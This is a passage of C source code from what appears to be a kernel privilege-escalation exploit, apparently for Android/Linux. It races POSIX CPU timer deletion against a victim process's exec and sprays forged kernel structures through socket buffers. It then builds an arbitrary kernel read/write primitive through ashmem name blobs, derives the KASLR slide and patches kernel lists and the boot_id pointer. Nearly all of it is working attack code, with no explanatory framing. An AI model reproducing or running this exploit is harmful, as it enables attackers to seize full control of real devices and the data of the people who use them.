atomic_fetch_add_explicit(&state->shared->deleted, 1, memory_order_release) + 1; if (count == exec_after_deleted) atomic_store_explicit(&state->shared->delete_threshold_ns, monotonic_ns(), memory_order_release); } } return NULL; } static void *prime_worker(void *opaque) { struct prime_state *state = opaque; pin_physical_cpu(RACE_ROLE_PARENT_CPU); atomic_store_explicit(&state->ready, 1, memory_order_release); while (!atomic_load_explicit(&state->start, memory_order_acquire)) cpu_relax(); while (atomic_load_explicit(&state->shared->deleted, memory_order_acquire) < prime_start_deleted) cpu_relax(); atomic_store_explicit(&state->begin_ns, monotonic_ns(), memory_order_relaxed); atomic_store_explicit(&state->end_ns, monotonic_ns(), memory_order_release); return NULL; } static void *rcu_flush_worker(void *opaque) { struct rcu_flush_state *state = opaque; static atomic_int worker_serial; int worker_no = atomic_fetch_add_explicit(&worker_serial, 1, memory_order_relaxed); if (cpu_count > 1) pin_cpu(1 + worker_no % (cpu_count - 1)); for (;;) { int index = atomic_fetch_add_explicit(&state->next_timer, 1, memory_order_relaxed); if (index >= state->timer_count) break; if (syscall(SYS_timer_delete, state->timer_ids[index])) atomic_fetch_add_explicit(&state->errors, 1, memory_order_relaxed); } return NULL; } static void force_rcu_callbacks(int attempt) { struct rcu_flush_state state; pthread_t threads[8]; int nthreads = cpu_count > 1 ? cpu_count - 1 : 1; if (!rcu_flush_timers) return; if (nthreads > (int)ARRAY_SIZE(threads)) nthreads = ARRAY_SIZE(threads); state.timer_ids = calloc(rcu_flush_timers, sizeof(*state.timer_ids)); if (!state.timer_ids) die("calloc RCU flush timers"); int created = 0; for (; created < rcu_flush_timers; created++) { if (timer_create_raw(CLOCK_MONOTONIC, &state.timer_ids[created])) break; } state.timer_count = created; atomic_init(&state.next_timer, 0); atomic_init(&state.errors, 0); for (int i = 0; i < nthreads; i++) { if (pthread_create(&threads[i], NULL, rcu_flush_worker, &state)) die("pthread_create RCU flush"); } for (int i = 0; i < nthreads; i++) join_or_preserve(threads[i], "rcu_flush"); printf("RCU_FORCE attempt=%d created=%d deleted=%d errors=%d\n", attempt, created, atomic_load_explicit(&state.next_timer, memory_order_relaxed), atomic_load_explicit(&state.errors, memory_order_relaxed)); free(state.timer_ids); } static int read_timer_slab(int *active, int *total) { char line[256]; FILE *slab = fopen("/proc/slabinfo", "re"); if (!slab) return -1; while (fgets(line, sizeof(line), slab)) { if (sscanf(line, "posix_timers_cache %d %d", active, total) == 2) { fclose(slab); return 0; } } fclose(slab); return -1; } static void initialize_shared(struct shared_state *shared, long exec_delay_ns) { atomic_init(&shared->victim_ready, 0); atomic_init(&shared->victim_cpu, -1); atomic_init(&shared->delete_go, 0); atomic_init(&shared->deleted, 0); atomic_init(&shared->delete_errors, 0); atomic_init(&shared->delete_errno, 0); atomic_init(&shared->create_errno, 0); atomic_init(&shared->exec_after_deleted, exec_after_deleted); atomic_init(&shared->exec_delay_ns, exec_delay_ns); atomic_init(&shared->delete_go_ns, 0); atomic_init(&shared->delete_seen_min_ns, 0); atomic_init(&shared->delete_seen_max_ns, 0); atomic_init(&shared->delete_threshold_ns, 0); atomic_init(&shared->victim_threshold_ns, 0); atomic_init(&shared->exec_call_ns, 0); } static pid_t run_race(int sequence) { struct delete_state deletion; struct prime_state prime; struct exec_ack exec_acks[MAX_EXEC_REPEATS]; pthread_t workers[MAX_WORKERS]; pthread_t prime_thread; long irq_after_release_ns = 20000 + (long)((sequence - 1) % 32) * 20000; long exec_delay_ns = ((long)sequence * 7919) % 10000; int ack_pipe[2]; struct shared_state *shared = mmap(NULL, sizeof(*shared), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (shared == MAP_FAILED) die("mmap shared"); initialize_shared(shared, exec_delay_ns); if (pipe(ack_pipe)) die("pipe exec ack"); pid_t victim = fork(); if (victim < 0) die("fork victim"); if (!victim) victim_process(shared, ack_pipe[1], ack_pipe[0]); close(ack_pipe[1]); while (!atomic_load_explicit(&shared->victim_ready, memory_order_acquire)) cpu_relax(); if (atomic_load_explicit(&shared->victim_cpu, memory_order_relaxed) != RACE_ROLE_EXEC_CPU) die("victim role CPU"); printf("VICTIM_ROLE_GATE_PASS physical=%d\n", RACE_ROLE_EXEC_CPU); pin_physical_cpu(RACE_ROLE_PARENT_CPU); memset(&deletion, 0, sizeof(deletion)); deletion.shared = shared; deletion.worker_count = 0; deletion.timer_ids = calloc(timer_goal, sizeof(*deletion.timer_ids)); deletion.irq_fds = calloc(irq_batch_fds > 0 ? irq_batch_fds : 1, sizeof(*deletion.irq_fds)); if (!deletion.timer_ids || !deletion.irq_fds) die("calloc race state"); atomic_init(&deletion.worker_serial, 0); atomic_init(&deletion.ready_workers, 0); atomic_init(&deletion.observed_cpu_mask, 0); atomic_init(&deletion.irq_count, 0); atomic_init(&deletion.irq_arm_go, 0); atomic_init(&deletion.irq_armed, 0); atomic_init(&deletion.irq_target_ns, 0); clockid_t clockid = (clockid_t)(((~(uint32_t)victim) << 3) | CPUCLOCK_SCHED); int created = 0; for (; created < timer_goal; created++) { if (timer_create_raw(clockid, &deletion.timer_ids[created])) { atomic_store_explicit(&shared->create_errno, errno, memory_order_relaxed); break; } if (timer_arm_raw(deletion.timer_ids[created])) { atomic_store_explicit(&shared->create_errno, errno, memory_order_relaxed); syscall(SYS_timer_delete, deletion.timer_ids[created]); break; } } deletion.timer_count = created; int nworkers = worker_goal < created ? worker_goal : created; deletion.worker_count = nworkers; for (int i = 0; i < nworkers; i++) { if (pthread_create(&workers[i], NULL, delete_worker, &deletion)) die("pthread_create delete"); } while (atomic_load_explicit(&deletion.ready_workers, memory_order_acquire) != nworkers) cpu_relax(); unsigned int expected_mask = ((1U << RACE_ROLE_DELETE_CPU_COUNT) - 1) << RACE_ROLE_DELETE_FIRST_CPU; unsigned int observed_mask = atomic_load_explicit(&deletion.observed_cpu_mask, memory_order_relaxed); if (observed_mask != expected_mask) die("delete role CPU mask"); printf("DELETE_ROLE_GATE_PASS expected=%#x observed=%#x\n", expected_mask, observed_mask); prime.shared = shared; atomic_init(&prime.ready, 0); atomic_init(&prime.start, 0); atomic_init(&prime.begin_ns, 0); atomic_init(&prime.end_ns, 0); if (pthread_create(&prime_thread, NULL, prime_worker, &prime)) die("pthread_create prime"); while (!atomic_load_explicit(&prime.ready, memory_order_acquire)) cpu_relax(); atomic_store_explicit(&deletion.irq_arm_go, 1, memory_order_release); while (!atomic_load_explicit(&deletion.irq_armed, memory_order_acquire)) cpu_relax(); int irq_count = atomic_load_explicit(&deletion.irq_count, memory_order_acquire); long long irq_target_ns = atomic_load_explicit(&deletion.irq_target_ns, memory_order_acquire); sleep_until(irq_target_ns - irq_after_release_ns - 100000); while (monotonic_ns() < irq_target_ns - irq_after_release_ns) cpu_relax(); long long begin_ns = monotonic_ns(); atomic_store_explicit(&prime.start, 1, memory_order_release); atomic_store_explicit(&shared->delete_go_ns, begin_ns, memory_order_relaxed); atomic_store_explicit(&shared->delete_go, 1, memory_order_release); for (int i = 0; i < nworkers; i++) join_or_preserve(workers[i], "delete"); long long delete_done_ns = monotonic_ns(); join_or_preserve(prime_thread, "prime"); memset(exec_acks, 0, sizeof(exec_acks)); int exec_ack_count = 0; int exec_ack_ok = !collect_exec_acks(ack_pipe[0], exec_acks, race_exec_repeats, &exec_ack_count); int exec_overlap_ok = exec_ack_ok; for (int i = 0; exec_overlap_ok && i < exec_ack_count; i++) { if (exec_acks[i].timestamp_ns >= delete_done_ns) exec_overlap_ok = 0; } long long exec_done_ns = -1; long long exec_last_ns = -1; if (exec_ack_count) { exec_done_ns = exec_acks[0].timestamp_ns; exec_last_ns = exec_acks[exec_ack_count - 1].timestamp_ns; } if (exec_ack_ok) printf("EXEC_REPEAT_GATE_PASS physical=%d repeats=%d acks=%d " "tgid=%d overlap=%d span_us=%lld\n", RACE_ROLE_EXEC_CPU, race_exec_repeats, exec_ack_count, exec_acks[0].current_pid, exec_overlap_ok, (exec_last_ns - exec_done_ns) / 1000); int deleted = atomic_load_explicit(&shared->deleted, memory_order_acquire); int errors = atomic_load_explicit(&shared->delete_errors, memory_order_relaxed); printf("LANE_DONE sequence=%d victim=%d timers=%d deleted=%d " "errors=%d create_errno=%d delete_errno=%d irq_ns=%ld " "exec_delay_ns=%ld delete_us=%lld exec_us=%lld " "irq_actual_ns=%lld seen_min_ns=%lld seen_max_ns=%lld " "threshold_ns=%lld victim_seen_ns=%lld exec_call_ns=%lld " "prime_begin_ns=%lld prime_end_ns=%lld victim_cpu=%d " "delete_cpu_mask=%#x exec_repeats=%d " "exec_acks=%d exec_last_us=%lld exec_overlap=%d\n", sequence, victim, created, deleted, errors, atomic_load_explicit(&shared->create_errno, memory_order_relaxed), atomic_load_explicit(&shared->delete_errno, memory_order_relaxed), irq_after_release_ns, exec_delay_ns, (delete_done_ns - begin_ns) / 1000, exec_done_ns < 0 ? -1 : (exec_done_ns - begin_ns) / 1000, irq_target_ns - begin_ns, atomic_load_explicit(&shared->delete_seen_min_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&shared->delete_seen_max_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&shared->delete_threshold_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&shared->victim_threshold_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&shared->exec_call_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&prime.begin_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&prime.end_ns, memory_order_relaxed) - begin_ns, atomic_load_explicit(&shared->victim_cpu, memory_order_relaxed), atomic_load_explicit(&deletion.observed_cpu_mask, memory_order_relaxed), race_exec_repeats, exec_ack_count, exec_last_ns < 0 ? -1 : (exec_last_ns - begin_ns) / 1000, exec_overlap_ok); close(ack_pipe[0]); for (int i = 0; i < irq_count; i++) close(deletion.irq_fds[i]); free(deletion.irq_fds); free(deletion.timer_ids); munmap(shared, sizeof(*shared)); pin_cpu(1); if (created != timer_goal || deleted != created || errors || !exec_ack_ok || !exec_overlap_ok || exec_done_ns < 0) { int status; if (terminate_and_reap(victim, &status)) { printf("VICTIM_REAP_NOT_PROVEN victim=%d errno=%d\n", victim, errno); hold_corrupted_state(); } return -1; } return victim; } static int prepare_spray_pairs(struct spray_pair **out) { struct spray_pair *pairs = calloc(pipe_count, sizeof(*pairs)); if (!pairs) die("calloc spray pairs"); for (int i = 0; i < pipe_count; i++) { int sockets[2]; if (socketpair(AF_UNIX, SOCK_STREAM | SOCK_NONBLOCK | SOCK_CLOEXEC, 0, sockets)) { while (i--) { close(pairs[i].tx); close(pairs[i].rx); } free(pairs); return -1; } pairs[i].tx = sockets[0]; pairs[i].rx = sockets[1]; } *out = pairs; return 0; } static void close_spray_pairs(struct spray_pair *pairs) { for (int i = 0; i < pipe_count; i++) { close(pairs[i].tx); close(pairs[i].rx); } free(pairs); } enum spray_phase { SPRAY_PREPARE_HEADS, SPRAY_PUNCH_HOLES, SPRAY_ORDER1_FRAGMENTS, }; static int receive_exact(int fd, void *buffer, size_t length) { unsigned char *cursor = buffer; size_t done = 0; while (done < length) { ssize_t got = recv(fd, cursor + done, length - done, MSG_DONTWAIT); if (got <= 0) return -1; done += (size_t)got; } return 0; } static void *spray_worker(void *opaque) { struct spray_state *state = opaque; if (try_pin_cpu(state->cpu)) { atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed); return NULL; } for (;;) { int i = atomic_fetch_add_explicit(state->next_pair, 1, memory_order_relaxed); if (i >= state->pair_count) break; if (state->phase == SPRAY_PREPARE_HEADS) { unsigned char marker = SPRAY_MARKER; for (int repeat = 0; repeat <= SPRAY_REPEATS; repeat++) { if (send(state->pairs[i].tx, &marker, 1, MSG_DONTWAIT | MSG_NOSIGNAL) != 1) atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed); } } else if (state->phase == SPRAY_PUNCH_HOLES) { unsigned char markers[SPRAY_REPEATS]; if (receive_exact(state->pairs[i].rx, markers, sizeof(markers))) { atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed); continue; } for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++) { if (markers[repeat] != SPRAY_MARKER) atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed); } } else { for (int repeat = 0; repeat < SPRAY_REPEATS; repeat++) { const unsigned char *fragment = state->fragment; if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE && misc_fragments_ready) fragment = misc_fragments[((size_t)i * SPRAY_REPEATS + (size_t)repeat) % FAKE_MISC_CLASSES]; if (send(state->pairs[i].tx, fragment, ORDER1_SIZE, MSG_DONTWAIT | MSG_NOSIGNAL) != ORDER1_SIZE) atomic_fetch_add_explicit(state->errors, 1, memory_order_relaxed); } } } return NULL; } static int run_spray_phase(struct spray_pair *pairs, const unsigned char *fragment, int phase) { struct spray_state states[8]; pthread_t threads[8]; atomic_int next_pair = 0; atomic_int errors = 0; int nthreads = cpu_count > 1 ? cpu_count - 1 : 1; int created = 0; if (nthreads > (int)ARRAY_SIZE(threads)) nthreads = ARRAY_SIZE(threads); for (int i = 0; i < nthreads; i++) { states[i].pairs = pairs; states[i].fragment = fragment; states[i].next_pair = &next_pair; states[i].errors = &errors; states[i].pair_count = pipe_count; states[i].cpu = cpu_count > 1 ? i + 1 : 0; states[i].phase = phase; if (pthread_create(&threads[i], NULL, spray_worker, &states[i])) { atomic_fetch_add_explicit(&errors, 1, memory_order_relaxed); break; } created++; } for (int i = 0; i < created; i++) join_or_preserve(threads[i], "spray"); return atomic_load_explicit(&errors, memory_order_relaxed); } static uint64_t fake_misc_record_offset(int record) { return FAKE_MISC_OFF + (uint64_t)record * FAKE_MISC_RECORD_STRIDE; } static uint64_t fake_misc_child(uint64_t base, int class_index, int slot) { int record = class_index * FAKE_MISC_SLOTS + slot; return base + fake_misc_record_offset(record) + FAKE_MISC_LIST_OFF; } static void build_fake_fragment(unsigned char fragment[ORDER1_SIZE]) { const uint64_t expires = UINT64_MAX; memset(fragment, 0, ORDER1_SIZE); for (int i = 0; i < FAKE_MISC_SLOTS; i++) { size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)i * FAKE_CPU_TIMER_STRIDE; memcpy(fragment + offset, &forged_parent, sizeof(forged_parent)); memcpy(fragment + offset + sizeof(forged_parent), &forged_child, sizeof(forged_child)); memcpy(fragment + offset + FAKE_CPU_TIMER_EXPIRES_OFF, &expires, sizeof(expires)); } printf("FAKE_ORDER1 parent=%#llx target=%#llx child=%#llx " "expires=%#llx mode=%d bytes=%d repeats=%d stride=0x108\n", (unsigned long long)forged_parent, (unsigned long long)(forged_parent + 8), (unsigned long long)forged_child, (unsigned long long)UINT64_MAX, boot_validation, ORDER1_SIZE, SPRAY_REPEATS); } static void build_misc_fragments(uint64_t base) { const uint64_t expires = UINT64_MAX; for (int class_index = 0; class_index < FAKE_MISC_CLASSES; class_index++) { memset(misc_fragments[class_index], 0, ORDER1_SIZE); for (int slot = 0; slot < FAKE_MISC_SLOTS; slot++) { size_t offset = FAKE_CPU_TIMER_FIRST_OFF + (size_t)slot * FAKE_CPU_TIMER_STRIDE; uint64_t child = fake_misc_child(base, class_index, slot); memcpy(misc_fragments[class_index] + offset, &forged_parent, sizeof(forged_parent)); memcpy(misc_fragments[class_index] + offset + 8, &child, sizeof(child)); memcpy(misc_fragments[class_index] + offset + FAKE_CPU_TIMER_EXPIRES_OFF, &expires, sizeof(expires)); } } misc_fragments_ready = 1; printf("FAKE_ORDER1_MULTI parent=%#llx expires=%#llx classes=%d " "slots=%d records=%d\n", (unsigned long long)forged_parent, (unsigned long long)expires, FAKE_MISC_CLASSES, FAKE_MISC_SLOTS, FAKE_MISC_RECORDS); } static int hex_value(unsigned char value) { if (value >= '0' && value <= '9') return value - '0'; value = tolower(value); if (value >= 'a' && value <= 'f') return value - 'a' + 10; return -1; } static int parse_boot_id(const char *text, uint64_t *qword0, uint64_t *qword1) { unsigned char bytes[16]; int high = -1; int byte_count = 0; for (const unsigned char *cursor = (const unsigned char *)text; *cursor; cursor++) { if (*cursor == '-' || *cursor == '\n') continue; int value = hex_value(*cursor); if (value < 0) return -1; if (high < 0) { high = value; } else { if (byte_count >= (int)ARRAY_SIZE(bytes)) return -1; bytes[byte_count++] = (unsigned char)((high << 4) | value); high = -1; } } if (byte_count != (int)ARRAY_SIZE(bytes) || high >= 0) return -1; memcpy(qword0, bytes, sizeof(*qword0)); memcpy(qword1, bytes + sizeof(*qword0), sizeof(*qword1)); return 0; } static int read_boot_id(char text[64], uint64_t *qword0, uint64_t *qword1) { int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC); if (fd < 0) return -1; ssize_t length = read(fd, text, 63); close(fd); if (length <= 0 || length >= 64) return -1; text[length] = '\0'; return parse_boot_id(text, qword0, qword1); } static void put_blob32(unsigned char *blob, size_t offset, uint32_t value) { memcpy(blob + offset, &value, sizeof(value)); } static void put_blob64(unsigned char *blob, size_t offset, uint64_t value) { memcpy(blob + offset, &value, sizeof(value)); } static int set_ashmem_name_blob(int fd, const unsigned char *blob, size_t length) { char name[ASHMEM_NAME_LEN]; if (length >= sizeof(name)) return -1; memset(name, 'A', sizeof(name)); for (size_t index = 0; index < length; index++) name[index] = blob[index] ? (char)blob[index] : 1; name[length] = '\0'; if (ioctl(fd, ASHMEM_SET_NAME, name)) return -1; for (size_t index = length; index > 0; index--) { if (blob[index - 1]) continue; memset(name, 'A', sizeof(name)); for (size_t prefix = 0; prefix + 1 < index; prefix++) name[prefix] = blob[prefix] ? (char)blob[prefix] : 1; name[index - 1] = '\0'; if (ioctl(fd, ASHMEM_SET_NAME, name)) return -1; } return 0; } static ssize_t bridge_read_once(int fd, uint64_t target, void *output, size_t length) { unsigned char blob[128]; off_t position = (off_t)(ASHMEM_PREFIX_COUNT - length); uint64_t page = target - (uint64_t)position; memset(blob, 0, sizeof(blob)); put_blob64(blob, CFG_PAGE_OFF - ASHMEM_NAME_PREFIX_LEN, page); put_blob32(blob, CFG_NEEDS_READ_FILL_OFF - ASHMEM_NAME_PREFIX_LEN, 0); if (set_ashmem_name_blob(fd, blob, sizeof(blob))) return -1; return pread(fd, output, length, position); } static ssize_t bridge_write_once(int fd, uint64_t target, const void *input, size_t length) { unsigned char blob[128]; memset(blob, 0, sizeof(blob)); put_blob64(blob, CFG_BIN_BUFFER_OFF - ASHMEM_NAME_PREFIX_LEN, target); put_blob32(blob, CFG_BIN_BUFFER_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, (uint32_t)length); put_blob32(blob, CFG_CB_MAX_SIZE_OFF - ASHMEM_NAME_PREFIX_LEN, 0); if (set_ashmem_name_blob(fd, blob, sizeof(blob))) return -1; return pwrite(fd, input, length, 0); } static int bridge_read64(int fd, uint64_t target, uint64_t *value) { return bridge_read_once(fd, target, value, sizeof(*value)) == (ssize_t)sizeof(*value) ? 0 : -1; } static int bridge_write64(int fd, uint64_t target, uint64_t value) { return bridge_write_once(fd, target, &value, sizeof(value)) == (ssize_t)sizeof(value) ? 0 : -1; } static int open_verified_bridge(uint64_t *observed) { uint64_t expected = LINK_UHID_FOPS + kernel_slide; uint64_t target = LINK_UHID_MISC + kernel_slide + FAKE_MISC_FOPS_OFF; int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC); if (fd < 0) return -1; if (bridge_read64(fd, target, observed) || *observed != expected) { close(fd); return -1; } return fd; } static int validate_misc_bridge(struct watcher_result *result) { uint64_t observed = 0; int fd = open_verified_bridge(&observed); if (fd < 0) return -1; close(fd); result->magic = NEBUSEC_MAGIC; result->qword0 = observed; result->qword1 = LINK_UHID_MISC + kernel_slide + FAKE_MISC_FOPS_OFF; result->slide = kernel_slide; return 0; } static int kernel_list_pointer(uint64_t value) { uint64_t core_start = LINK_SDATA + kernel_slide; uint64_t core_end = LINK_END + kernel_slide; if ((value & 7) || (value >= crosscache_page_base && value < crosscache_page_base + CC_SKB_SEND_BYTES)) return 0; return (value >= core_start && value < core_end) || (module_direct_base && value >= module_direct_base && value < module_direct_base + MODULE_DIRECT_SIZE) || (module_plt_base && value >= module_plt_base && value < module_plt_base + MODULE_PLT_SIZE) || (value >= DIRECT_MAP_BEGIN && value < DIRECT_MAP_END); } static int forged_misc_child_pointer(uint64_t value) { uint64_t first = crosscache_page_base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF; if ((value & 7) || value < first) return 0; uint64_t delta = value - first; return delta % FAKE_MISC_RECORD_STRIDE == 0 && delta / FAKE_MISC_RECORD_STRIDE < FAKE_MISC_RECORDS; } static int restore_misc_list(int fd) { uint64_t head = LINK_MISC_LIST + kernel_slide; uint64_t head_next = 0; uint64_t tail = 0; uint64_t previous; uint64_t previous_next = 0; uint64_t descriptor = 0; uint64_t seen[MISC_LIST_LIMIT]; uint64_t first = 0; uint64_t check_head_next = 0; uint64_t check_tail = 0; uint64_t check_tail_next = 0; uint64_t check_first_previous = 0; int depth; uint64_t image_start = LINK_IMAGE_BASE + kernel_slide; uint64_t image_end = LINK_END + kernel_slide; if (bridge_read64(fd, LINK_MODULE_DIRECT_BASE + kernel_slide, &module_direct_base) || bridge_read64(fd, LINK_MODULE_PLT_BASE + kernel_slide, &module_plt_base) || (module_direct_base && ((module_direct_base & (0x1000 - 1)) || module_direct_base > image_start || module_direct_base + MODULE_DIRECT_SIZE < image_end)) || !module_plt_base || (module_plt_base & (0x1000 - 1)) || module_plt_base > image_start || module_plt_base + MODULE_PLT_SIZE < image_end) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=module_ranges " "direct=%#llx plt=%#llx image=%#llx-%#llx errno=%d\n", (unsigned long long)module_direct_base, (unsigned long long)module_plt_base, (unsigned long long)image_start, (unsigned long long)image_end, errno); return -1; } printf("MISC_LIST_MODULE_RANGES direct=%#llx-%#llx " "plt=%#llx-%#llx\n", (unsigned long long)module_direct_base, (unsigned long long)(module_direct_base + MODULE_DIRECT_SIZE), (unsigned long long)module_plt_base, (unsigned long long)(module_plt_base + MODULE_PLT_SIZE)); if (bridge_read64(fd, head, &head_next) || bridge_read64(fd, head + 8, &tail)) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=head_snapshot " "errno=%d\n", errno); return -1; } printf("MISC_LIST_RESTORE_SCAN head=%#llx fake=%#llx tail=%#llx\n", (unsigned long long)head, (unsigned long long)head_next, (unsigned long long)tail); if (!forged_misc_child_pointer(head_next) || !kernel_list_pointer(tail)) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=head_gate " "head_next=%#llx first_fake=%#llx tail=%#llx\n", (unsigned long long)head_next, (unsigned long long)(crosscache_page_base + FAKE_MISC_OFF + FAKE_MISC_LIST_OFF), (unsigned long long)tail); return -1; } uint64_t fake = head_next; uint64_t node = tail; for (depth = 0; depth < MISC_LIST_LIMIT; depth++) { for (int seen_index = 0; seen_index < depth; seen_index++) { if (seen[seen_index] == node) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=cycle " "depth=%d node=%#llx\n", depth, (unsigned long long)node); return -1; } } seen[depth] = node; if (bridge_read64(fd, node - FAKE_MISC_LIST_OFF, &descriptor) || (uint32_t)descriptor > MISC_MINOR_MAX) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=minor " "depth=%d node=%#llx descriptor=%#llx errno=%d\n", depth, (unsigned long long)node, (unsigned long long)descriptor, errno); return -1; } if (bridge_read64(fd, node + 8, &previous)) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=read_prev " "depth=%d node=%#llx errno=%d\n", depth, (unsigned long long)node, errno); return -1; } if (previous == head) { first = node; break; } if (!kernel_list_pointer(previous)) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=prev_pointer " "depth=%d node=%#llx previous=%#llx\n", depth, (unsigned long long)node, (unsigned long long)previous); return -1; } if (bridge_read64(fd, previous, &previous_next) || previous_next != node) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=backlink " "depth=%d node=%#llx previous=%#llx " "previous_next=%#llx errno=%d\n", depth, (unsigned long long)node, (unsigned long long)previous, (unsigned long long)previous_next, errno); return -1; } node = previous; } if (!first) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=depth_limit\n"); return -1; } if (bridge_read64(fd, head, &check_head_next) || bridge_read64(fd, head + 8, &check_tail) || bridge_read64(fd, tail, &check_tail_next) || bridge_read64(fd, first + 8, &check_first_previous) || check_head_next != fake || check_tail != tail || check_tail_next != head || check_first_previous != head) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=prewrite " "head_next=%#llx tail=%#llx tail_next=%#llx " "first_prev=%#llx errno=%d\n", (unsigned long long)check_head_next, (unsigned long long)check_tail, (unsigned long long)check_tail_next, (unsigned long long)check_first_previous, errno); return -1; } if (bridge_write64(fd, head, first)) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=write_head errno=%d\n", errno); return -1; } if (bridge_read64(fd, head, &check_head_next) || bridge_read64(fd, head + 8, &check_tail) || bridge_read64(fd, tail, &check_tail_next) || bridge_read64(fd, first + 8, &check_first_previous) || check_head_next != first || check_tail != tail || check_tail_next != head || check_first_previous != head) { printf("MISC_LIST_RESTORE_GATE_FAIL stage=postwrite " "head_next=%#llx first=%#llx tail=%#llx " "tail_next=%#llx first_prev=%#llx errno=%d\n", (unsigned long long)check_head_next, (unsigned long long)first, (unsigned long long)check_tail, (unsigned long long)check_tail_next, (unsigned long long)check_first_previous, errno); return -1; } printf("MISC_LIST_RESTORE_PASS head=%#llx first=%#llx depth=%d\n", (unsigned long long)head, (unsigned long long)first, depth + 1); return 0; } static int confirm_stage0_cycle(int fd) { uint64_t cycle_c = LINK_CYCLE_C + kernel_slide; uint64_t cycle_d = LINK_CYCLE_D + kernel_slide; uint64_t observed_cycle[4] = {0}; const uint64_t cycle_targets[] = { cycle_c, cycle_c + 8, cycle_d, cycle_d + 8, }; const uint64_t cycle_values[] = { cycle_d, cycle_d, cycle_c, cycle_c, }; struct timespec delay = {.tv_nsec = 1000000}; for (int read_index = 0; read_index < 3; read_index++) { for (size_t index = 0; index < ARRAY_SIZE(cycle_targets); index++) { if (bridge_read64(fd, cycle_targets[index], &observed_cycle[index]) || observed_cycle[index] != cycle_values[index]) { printf("STAGE0_RESTORE_GATE_FAIL stage=readback_cycle " "read=%d index=%zu observed=%#llx " "expected=%#llx errno=%d\n", read_index, index, (unsigned long long)observed_cycle[index], (unsigned long long)cycle_values[index], errno); return -1; } } nanosleep(&delay, NULL); } printf("STAGE0_CYCLE_RESTORE_PASS reads=3\n"); return 0; } static int restore_stage0_state(int fd, uint64_t baseline0, uint64_t baseline1) { uint64_t cycle_c = LINK_CYCLE_C + kernel_slide; uint64_t cycle_d = LINK_CYCLE_D + kernel_slide; const uint64_t cycle_targets[] = { cycle_c, cycle_c + 8, cycle_d, cycle_d + 8, }; const uint64_t cycle_values[] = { cycle_d, cycle_d, cycle_c, cycle_c, }; struct timespec delay = {.tv_nsec = 1000000}; char text[64]; uint64_t observed0 = 0; uint64_t observed1 = 0; for (size_t index = 0; index < ARRAY_SIZE(cycle_targets); index++) { if (bridge_write64(fd, cycle_targets[index], cycle_values[index])) { printf("STAGE0_RESTORE_GATE_FAIL stage=write_cycle " "index=%zu target=%#llx errno=%d\n", index, (unsigned long long)cycle_targets[index], errno); return -1; } } if (confirm_stage0_cycle(fd)) return -1; if (bridge_write64(fd, direct_bootid_parent + 8, LINK_SYSCTL_BOOTID + kernel_slide)) { printf("STAGE0_RESTORE_GATE_FAIL stage=write_bootid errno=%d\n", errno); return -1; } for (int read_index = 0; read_index < 3; read_index++) { if (read_boot_id(text, &observed0, &observed1) || observed0 != baseline0 || observed1 != baseline1) { printf("STAGE0_RESTORE_GATE_FAIL stage=bootid " "read=%d observed=%#llx/%#llx expected=%#llx/%#llx " "errno=%d\n", read_index, (unsigned long long)observed0, (unsigned long long)observed1, (unsigned long long)baseline0, (unsigned long long)baseline1, errno); return -1; } nanosleep(&delay, NULL); } printf("STAGE0_BOOTID_RESTORE_PASS reads=3 boot_id=%s", text); return 0; } static int verify_real_uhid(void) { char name[ASHMEM_NAME_LEN] = "_NEBUSEC-restored"; int fd = open(UHID_PATH, O_RDWR | O_CLOEXEC); if (fd < 0) return -1; errno = 0; int result = ioctl(fd, ASHMEM_SET_NAME, name); int saved_errno = errno; close(fd); return result == -1 && saved_errno == ENOTTY ? 0 : -1; } static __attribute__((noreturn)) void hold_corrupted_state(void) { hold_cred_unknown(); } static __attribute__((noreturn, noinline)) void hold_cred_unknown(void) { for (;;) asm volatile("yield" : : : "memory"); } static int slide_from_pointer(uint64_t pointer, uint64_t *slide) { const uint64_t links[] = {LINK_CYCLE_D, LINK_CYCLE_C}; size_t i; for (i = 0; i < ARRAY_SIZE(links); i++) { uint64_t candidate = pointer - links[i]; if (candidate >= KASLR_SLIDE_MIN && candidate < KASLR_SLIDE_END && !(candidate & (KASLR_ALIGN - 1))) { *slide = candidate; return 0; } } return -1; } static int read_validated_result(struct watcher_result *result) { char text[64]; uint64_t qword0; uint64_t qword1; uint64_t slide; if (boot_validation == BOOT_VALIDATE_MISC_BRIDGE) return validate_misc_bridge(result); if (read_boot_id(text, &qword0, &qword1) || qword0 != forged_parent) return -1; if (slide_from_pointer(qword1, &slide)) return -1; result->magic = NEBUSEC_MAGIC; result->qword0 = qword0; result->qword1 = qword1; result->slide = slide; return 0; } static void print_validation_pass(int attempt, const struct watcher_result *result) { if (boot_validation == BOOT_VALIDATE_KASLR) printf("BOOTID_WRITE_PASS attempt=%d q0=%#llx q1=%#llx " "slide=%#llx kernel_base=%#llx\n", attempt, (unsigned long long)result->qword0, (unsigned long long)result->qword1, (unsigned long long)result->slide, (unsigned long long)(LINK_IMAGE_BASE + result->slide)); else printf("MISC_BRIDGE_READ_PASS attempt=%d value=%#llx " 